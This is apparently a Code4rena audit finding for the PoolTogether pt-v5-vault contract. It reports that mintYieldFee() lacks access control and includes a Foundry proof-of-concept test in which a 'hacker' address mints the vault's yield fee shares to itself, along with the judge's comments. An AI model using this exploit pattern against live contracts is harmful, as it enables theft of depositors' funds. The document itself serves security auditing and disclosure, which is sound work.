Platform: Code4rena
Start Date: 07/07/2023
Pot Size: $121,650 USDC
Total HM: 36
Participants: 111
Period: 7 days
Judge: Picodes
Total Solo HM: 13
Id: 258
League: ETH
Rank: 110/111
Findings: 1
Award: $2.25
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Udsen
Also found by: 0xMirce, 0xPsuedoPandit, 0xStalin, 0xbepresent, Aymen0909, Bobface, Co0nan, GREY-HAWK-REACH, Jeiwan, John, KupiaSec, LuchoLeonel1, Nyx, Praise, RedTiger, alexweb3, bin2chen, btk, dacian, dirk_y, josephdara, keccak123, ktg, mahdirostami, markus_ether, minhtrng, ni8mare, peanuts, ptsanev, ravikiranweb3, rvierdiiev, seeques, serial-coder, shaka, teawaterwire, wangxx2026, zzzitron
2.2492 USDC - $2.25
The function mintYieldFee() has no access control and anyone can mint the yield fee for themself always that the vault is collateralized.
mintYieldFee() only checks if the vault is collateralized but has no access control. This way anyone can mint the yield fees. https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402
function mintYieldFee(uint256 _shares, address _recipient) external { _requireVaultCollateralized(); if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply); _yieldFeeTotalSupply -= _shares; _mint(_recipient, _shares); emit MintYieldFee(msg.sender, _recipient, _shares); }
Add this test to pt-v5-vault/test/unit/Vault/Liquidate.t.sol
function testEveryoneCanMintYield() external { _setLiquidationPair(); vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE); uint256 _amount = 1000e18; underlyingAsset.mint(address(this), _amount); _sponsor(underlyingAsset, vault, _amount, address(this)); uint256 _yield = 10e18; _accrueYield(underlyingAsset, yieldVault, _yield); vm.startPrank(alice); prizeToken.mint(alice, 1000e18); uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault)); (uint256 _alicePrizeTokenBalanceBefore, uint256 _prizeTokenContributed) = _liquidate( liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice ); assertEq(prizeToken.balanceOf(address(prizePool)), _prizeTokenContributed); assertEq(prizeToken.balanceOf(alice), _alicePrizeTokenBalanceBefore - _prizeTokenContributed); uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE); assertEq(vault.balanceOf(alice), _liquidatedYield); assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares); assertEq(_yield, _liquidatedYield + _yieldFeeShares); assertEq(vault.liquidatableBalanceOf(address(vault)), 0); assertEq(vault.availableYieldBalance(), 0); assertEq(vault.availableYieldFeeBalance(), 0); address hacker = makeAddr("hacker"); assertEq(vault.yieldFeeTotalSupply(), 1 ether); assertEq(vault.totalSupply(), 1009 ether); assertEq(vault.balanceOf(hacker), 0); vm.stopPrank(); vm.startPrank(hacker); vault.mintYieldFee(_yieldFeeShares, hacker); assertEq(vault.yieldFeeTotalSupply(), 0); assertEq(vault.totalSupply(), 1010 ether); assertEq(vault.balanceOf(hacker), 1 ether); vm.stopPrank(); }
Manual review
Add access control
Access Control
#0 - c4-judge
2023-07-14T22:20:29Z
Picodes marked the issue as duplicate of #396
#1 - c4-judge
2023-08-05T22:04:50Z
Picodes marked the issue as satisfactory